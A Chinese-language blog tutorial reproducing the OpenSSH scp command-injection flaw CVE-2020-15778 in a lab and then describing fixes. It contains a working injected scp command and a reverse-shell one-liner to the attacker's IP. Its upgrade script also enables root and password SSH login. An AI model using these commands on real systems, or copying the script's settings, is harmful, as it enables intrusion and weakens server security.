OpenSSH_8.3-命令注入漏洞攻擊與修復

2020-10-25 07:01:02

OpenSSH_8.3及以下-命令注入漏洞攻擊與修復

漏洞:CVE-2020-15778
2020年6月9日發現漏洞,2020年7月18日公開漏洞。

攻擊原理

使用SCP中遠端功能進行命令注入。

漏洞復現要求

OpenSSH版本 =<8.3p1

ssh連線密碼

攻擊環境

攻擊方:kali:192.168.0.130

靶機: CentOS7:192.168.0.187

攻擊測試

kali:

上傳任意檔案到靶機上,檔案允許為空,因為上傳的檔案不是主角。而是``裡面的命令作為注入點進行攻擊。

scp dic.txt root@192.168.0.187:'`touch /tmp/test.txt` /tmp'

命令解讀:使用scp將本地檔案dic.txt上傳到伺服器root@192.168.0.187/tmp資料夾,使用``括起來的touch /tmp/test.txt就是注入的命令,會生成一個新的檔案test.txt

靶機:

靶機檢視/tmp目錄下的檔案:

[root@localhost tmp]# ls
dic.txt  test.txt

這樣就實現了遠端命令的執行。

GetShell

kali:

使用命令獲取靶機的許可權。

#使用一個視窗開啟nc進行監聽
nc -lvvp 7777
#開啟另一個視窗,上傳反彈shell的命令
scp dic.txt root@192.168.0.187:'`bash -i >& /dev/tcp/192.168.0.130/7777 0>&1`/tmp/attack.txt'

執行監聽:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-kE8l9TZZ-1603425751824)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201023100602508.png)]

上傳注入命令:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-GxREZOVt-1603425751836)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201023100646810.png)]

檢視監聽結果:

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-nrdHQfK6-1603425751844)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20201023100811774.png)]

可以執行命令,並且獲取響應的資訊。

攻擊總結

漏洞復現簡單,但是需要知道ssh密碼。主要針對已知ssh密碼,但沒有存取許可權/登入許可權的攻擊

防禦方式

關閉網段存取

修改組態檔/etc/hosts.allow

使用如下的格式新增ssh存取許可權:

sshd:192.168.0.158:allow	#允許IP地址為192.168.0.158的主機使用ssh連線
sshd:192.168.0.*:allow		#允許IP地址段為:192.168.0.0/24的主機使用ssh連線
sshd:all:deny				#拒絕除允許地址之外的所有主機使用ssh連線

此方法主要用於拒絕靶機進行遠端ssh登入,提高ssh登入安全性。

升級openssh到openssh8.4p1版本

通過shell指令碼執行:

#!/bin/bash
#更新ssh服務指令碼

#下載
function download()
{
	##下載-將函數內部命令複製到命令列執行
	echo "正在獲取安裝包..."
	echo "獲取openssh..."
	wget https://openbsd.hk/pub/OpenBSD/OpenSSH/portable/openssh-8.4p1.tar.gz
	echo "獲取openssl..."
	wget https://www.openssl.org/source/openssl-1.1.1g.tar.gz
	echo "獲取zlib..."
	wget http://www.zlib.net/zlib-1.2.11.tar.gz
}

echo "請確保指令碼與以下檔案在同一資料夾:zlib-1.2.11.tar.gz、openssh-8.4p1.tar.gz、openssl-1.1.1g.tar.gz"
echo "如果沒有上述檔案,請中斷(Ctrl+C)指令碼。使用編輯器開啟本檔案,頭部有下載方法"
sleep 1
echo "[========>                 ] 33%"
sleep 1
echo "[================>         ] 66%"
sleep 1
echo "[========================> ] 99%"
sleep 1

#解壓
echo -e "\033[1;32m 解壓安裝包 \033[0m"
tar  --no-same-owner -zxvf zlib-1.2.11.tar.gz
tar  --no-same-owner -zxvf openssh-8.4p1.tar.gz
tar  --no-same-owner -zxvf openssl-1.1.1g.tar.gz

#安裝zlib
echo -e "\033[1;32m 編譯安裝 zlib \033[0m"
cd zlib-1.2.11
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/zlib
make && make install
sleep 1

#安裝openssl
echo ""
echo -e "\033[1;32m 編譯安裝openssl \033[0m"
cd ../openssl-1.1.1g
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./config --prefix=/usr/local/ssl --shared
make && make install
echo '/usr/local/ssl/lib' >> /etc/ld.so.conf
ldconfig -v
sleep 1

#安裝openssh
echo ""
echo -e "\033[1;32m 編譯安裝openssh \033[0m"
cd ../openssh-8.4p1
echo -e "\033[1;32m Now palying : `pwd` \033[0m"
./configure --prefix=/usr/local/openssh --with-zlib=/usr/local/zlib --with-ssl-dir=/usr/local/ssl
make && make install
sleep 1

#修改組態檔
echo -e "\033[1;32m 修改ssh組態檔 \033[0m"
echo 'PermitRootLogin yes' >>/usr/local/openssh/etc/sshd_config
echo 'PubkeyAuthentication yes' >>/usr/local/openssh/etc/sshd_config
echo 'PasswordAuthentication yes' >>/usr/local/openssh/etc/sshd_config

#備份原有檔案
echo -e "\033[1;32m 備份與修改bin與keygen檔案 \033[0m"
systemctl stop sshd
mv /etc/ssh /etc/ssh.bak
mkdir /etc/ssh
cp -rf /usr/local/openssh/etc/* /etc/ssh/

mv /usr/sbin/sshd /usr/sbin/sshd.bak
cp /usr/local/openssh/sbin/sshd /usr/sbin/sshd
mv /usr/bin/ssh /usr/bin/ssh.bak
cp /usr/local/openssh/bin/ssh /usr/bin/ssh
mv /usr/bin/ssh-keygen /usr/bin/ssh-keygen.bak
cp /usr/local/openssh/bin/ssh-keygen /usr/bin/ssh-keygen

#重新啟動服務
echo -e "\033[1;32m 重新啟動服務 \033[0m"
mv /lib/systemd/system/sshd.service .
systemctl daemon-reload
cp ./contrib/redhat/sshd.init /etc/init.d/sshd
/etc/init.d/sshd start
systemctl status sshd

echo -e "\033[1;32m ssh服務更新完成,目前版本"
ssh -V
echo -e "##########\033[0m"

或者直接下載

下載連結:

連結: https://pan.baidu.com/s/14aegreBtRdH1BShyohEwXw

提取碼: c47t ,複製這段內容後開啟百度網路硬碟手機App,操作更方便哦

使用命令:

tar -zxvf ssh_update.tar.gz
cd ssh_update/
bash ssh-update.sh

安裝成功檢視版本:

[root@localhost ssh_update]# ssh -V
OpenSSH_8.4p1, OpenSSL 1.1.1g  21 Apr 2020